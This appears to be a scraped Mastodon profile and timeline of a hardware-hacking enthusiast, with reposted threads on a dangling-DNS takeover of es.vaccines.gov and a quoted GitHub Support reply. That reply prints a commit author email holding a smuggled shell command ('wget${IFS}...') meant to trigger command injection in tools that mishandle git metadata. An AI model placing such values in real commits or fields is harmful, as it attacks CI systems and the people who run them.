Robin Bradshaw

@en4rab@infosec.exchange
125 Followers
303 Following
332 Posts
Cybersecurity and hardware hacking
bloghttps://en4rab.github.io/
lolhttps://gogle-analytics.com/
lmaohttps://gogleapis.com/
Emptyhttps://www.en4rab.co.uk/
Robin BradshawJul 9
Noooooooooooooooooooo!
https://www.thechemicalengineer.com/news/us-chemical-safety-board-to-close-this-year/
US Chemical Safety Board to close this year

THE Trump administration plans to close the US Chemical Safety and Hazard Investigation Board (US CSB) this year, sparking fears its loss will erode industrial safety and cost lives.

Show threadRobin BradshawJun 23
One oddity seems to be the touchscreen works but only if you haven't plugged in a keyboard
Show threadRobin BradshawJun 22
Hmmmmm
Robin BradshawJun 22
Mischief managed!
Robin BradshawJun 21
I think I found the flash, tomorrow's nonsense will be removing secure boot I guess. I'm not sure this fz-a2 is worth the effort.
Robin BradshawJun 11
Show threadRyan Castellucci Jun 11

@q

Formatting may get slightly mangled here, but should be decipherable:

GitHub Support, Jun 11, 2025, 8:17 AM UTC

Hi Ryan,

Thanks for your patience. So far, our engineering team found a commit with a malformed author/committer email and and invalid timestamps.

$ git cat-file commit d18cf25755d73e1ebc295155fe278c19f4f874fetree f828c7cd0f33131d46f8761fd875f64ce5af880dparent a69b1149073c467803f73a2efd55c10f07051e59author Ryan Castellucci <wget${IFS}r.vc/ghe@ryanc.org> 1668615481 -2456committer Ryan Castellucci <wget${IFS}r.vc/ghe@ryanc.org> 1668615481 -2456

Author and committer email:

author Ryan Castellucci <wget${IFS}r.vc/ghe@ryanc.org>

That email uses shell expansion syntax: wget${IFS}r.vc/ghe. This is likely an attempt to exploit command substitution in log viewers or tools that unsafely handle commit metadata (e.g., CI scripts or webhooks).

Timestamps:

1668615481 -2456

The negative timezone offset -2456 is invalid. Standard timezones go from -1200 to +1400. This could cause issues in tools that parse or display timezones strictly.

Our engineering team are working on how to handle such scenarios to avoid the server errors you're seeing.

In the meantime, if this commit came from an external contributor or looks unintended, we recommend:

  • Inspecting how it got into the repository

  • Rewriting history to remove it (if it was part of a PR or forced push)

  • Checking your workflow or scripts for unsafe parsing of Git metadata

Please give this a try and update me on how it goes.

Robin BradshawJun 11
Lauren WeinsteinJun 11

Go look at the U.S. federal vaccines hub -- do it now

ADDING: It's a DNS hack, pointing that .gov subdomain at an AWS site.

Just scroll down a bit. And I'll add, at the moment those pages are NSFW ... only the best people running stuff there now!

https://es.vaccines.gov/

Robin BradshawJun 8
delulu casual Jun 8
Robin BradshawJun 4
IcemanJun 4

@en4rab made a bunch of x-rays of common RFID tags. They are so crisp and nice.

Look at this #hitag2
You can see all the thin windings of the antenna and the markings on the IC package.

#rfidhack #hacking

Robin BradshawMay 31
My friend Buy it Fix it bought the same X-ray machine as the one I got and did a video about it.
https://www.youtube.com/watch?v=MgT22byFe64
I Bought A Medical X-Ray Machine, and it's AWESOME! (Including Teardown)

YouTube
×
Lauren WeinsteinJun 11

Go look at the U.S. federal vaccines hub -- do it now

ADDING: It's a DNS hack, pointing that .gov subdomain at an AWS site.

Just scroll down a bit. And I'll add, at the moment those pages are NSFW ... only the best people running stuff there now!

https://es.vaccines.gov/

Show threadLauren WeinsteinJun 11
More: This appears to be a DNS hack, pointing at an AWS site.
Show threadJoel PomalesJun 11
@lauren what in the actual f...?
Show threadDustin MitchellJun 11
@lauren what is the 'es'??
Show threadmtpJun 11
@lauren Your gov‘t hard at work.
Show threadBruce HeerssenJun 11

@lauren

That's very funny, but what's actually going on there? Aside from the .gov domain, it doesn't seem to be a federal website?

Show threadLauren WeinsteinJun 11
@bruce If it's .gov, it's a U.S. government website, by definition. In this case, some deeper page inside vaccines.gov.
Show threadBruce HeerssenJun 11

@lauren

I noticed the "es" subdomain, but I don't know what it signifies. In any case, was this a hack? A disgruntled employee? An otherwise innocuous page that was used in a way its designers didn't intend?

I think it's hilarious, but I'm just confused.

Show threadRyan Castellucci Jun 11
@bruce @lauren It's likely a dangling hostname - it points to AWS, someone managed to get that IP.
Show threadKevin Mirsky Jun 11
@bruce @lauren .es most likely signifies an "Espanol" version of the site. Presumably it's a neglected/unpatched WordPress site that got compromised and is now being used to get ad revenue
Show threadLauren WeinsteinJun 11
@kevinmirsky @bruce No, it appears to be a DNS hack pointing at an AWS site.
Show threadBruce HeerssenJun 11

@lauren @kevinmirsky

Yup! Thanks to @ryanc, I've been reading about dangling hostnames. That's a new one to me.

Thanks, Ryan!

Show threadBoyd Stephen Smith Jr.Jun 11
@kevinmirsky @bruce @lauren The Spanish version is https://www.vaccines.gov/es/ not the es subdomain.
Encuentre farmacias cerca de usted

Vaccines.gov lo ayuda a encontrar farmacias cercanas en los Estados Unidos

Show threadKevin Mirsky Jun 11

@BoydStephenSmithJr @bruce @lauren Looks like it at least once was for Spanish.

https://archive.is/9EoVV

Show threadBoyd Stephen Smith Jr.Jun 11

@kevinmirsky @bruce @lauren Even then, it was a redirect. I wonder who decided they didn't need to (at least) keep a redirect in place. It would be easy to blame Elmu or DOGE, but it's also a fairly simple mistake to make, especially if you've got some guarantee no internal page contains links to the es subdomain.

Still. Hope it is fixed soon. The .gov is restricted for a reason, and it gives the contents weight/legitimacy instantly if you don't think too hard about it (and no one can be hyper-vigilant all the time).

Show threadKevin Mirsky Jun 11
@BoydStephenSmithJr @bruce @lauren yeah, not terribly surprising it was forgotten about as it's for a secondary version of what may be a lower priority site. Consider a potential changing of the back end and oops, no one realized this was still out there
Show threadLauren WeinsteinJun 11
@kevinmirsky @BoydStephenSmithJr @bruce Trump ordered most of the non-English pages removed, that could have left that subdomain empty and misconfigured at the DNS level in way that opened it to hacking.
Show threadBoyd Stephen Smith Jr.Jun 11
@lauren @bruce https://www.vaccines.gov/ only seems to link to the cdc.gov site, I don't think es subdomain is actually part of any government site.
Find pharmacies near you

Vaccines.gov helps you find nearby pharmacies in the United States.

Show threadLauren WeinsteinJun 11
@BoydStephenSmithJr @bruce As I said, it's a DNS hack.
Show threadLauren WeinsteinJun 11
@BoydStephenSmithJr @bruce It's a hack to the .gov DNS entry for vaccines.gov.
Show threadShirley EugestJun 11
@bruce @lauren
Elon and Orange broke up.
Elon has the data and the keys.
Show threadMathi GwithyasJun 11
@lauren
Show threadScott FrancisJun 11
@lauren lolwut
Show threadBrian TatoskyJun 11
@lauren LOL
Show threadslashJun 11
@lauren LOL.
Show threadNikkileah 🎮🚄🏳️‍⚧️🇬🇧Jun 11
@lauren I had to like for the cat pic but, I clicked, scrolled down and... wow....
Show threadLauren WeinsteinJun 11
@Nikkileah Yeah, when it started I saw strange posts about planes, then it escalated.
Show threadPhil HaighJun 11
@lauren 🤣🤣🤣
Show threadShirley EugestJun 11
@lauren
It takes big balls to turn a government site into a party.
Show threadCadmus 🌲Jun 11
@lauren should let people know that this is not safe for work...
Show threadJohnJun 11
@camless @lauren safer than working with unvaccinated people.
Show threadCadmus 🌲Jun 11
@mrkeen @lauren Truth, #VaccinesSaveLives
Show threadLauren WeinsteinJun 11
@camless I did as soon as it went in that direction. At first I didn't see any NSWF, just odd stuff about planes, etc.
Show threadCadmus 🌲Jun 11
@lauren Right?? It's a brave, new, Orwellian world
Show threadAI6YR BenJun 11
@lauren LOL
Show threadMOVED to: @Linux@mastodon.auJun 11
@lauren

HTTP ERROR 500
Show threadLauren WeinsteinJun 11
@Linux Still there for me.
Show threadColesStreetPotholeJun 11
@lauren Our tax dollars at work! 😂
Show threadjannicJun 11
@lauren Don't show that to your kids. Most of the page is fine, but the first article is actively harmful!
Show threadChristgopher RhineJun 11

@lauren 👀👀👀👀👀👀👀👀👀👀👀👀👀👀👀👀👀👀👀👀👀👀👀👀👀👀👀👀👀👀👀👀
Whomever Ashley is (the poster on the site of the articles), they have an "eclectic" display of what might be the first display of "article tourettes"

Find a grouping of more fascinating articles with only the loosest threads binding them, I dare you.

Show threadSkibidi🚽sigmaJun 11
@lauren
Show threadPoloniousmonkJun 11

@lauren

500 error

Show threadDr. Fortyseven 🥃 █▓▒░Jun 11
@lauren For those having issues: https://archive.is/https://es.vaccines.gov/
Show threadC++ Wage SlaveJun 11

@lauren

It's now gone:

~$ nslookup es.vaccines.gov
Server: 127.0.0.53
Address: 127.0.0.53#53

** server can't find es.vaccines.gov: NXDOMAIN

~$

I didn't see the .gov site before it went down, but could it be related to this recent story? Some of the slop described here is definitely NSFW.

https://www.404media.co/spam-blogs-ai-slop-domains-wowlazy/

Show threaddaveJun 11

@lauren Thanks for pointing this out.

What I wonder, is what the next act is

There have been some strange things done recently with fast computers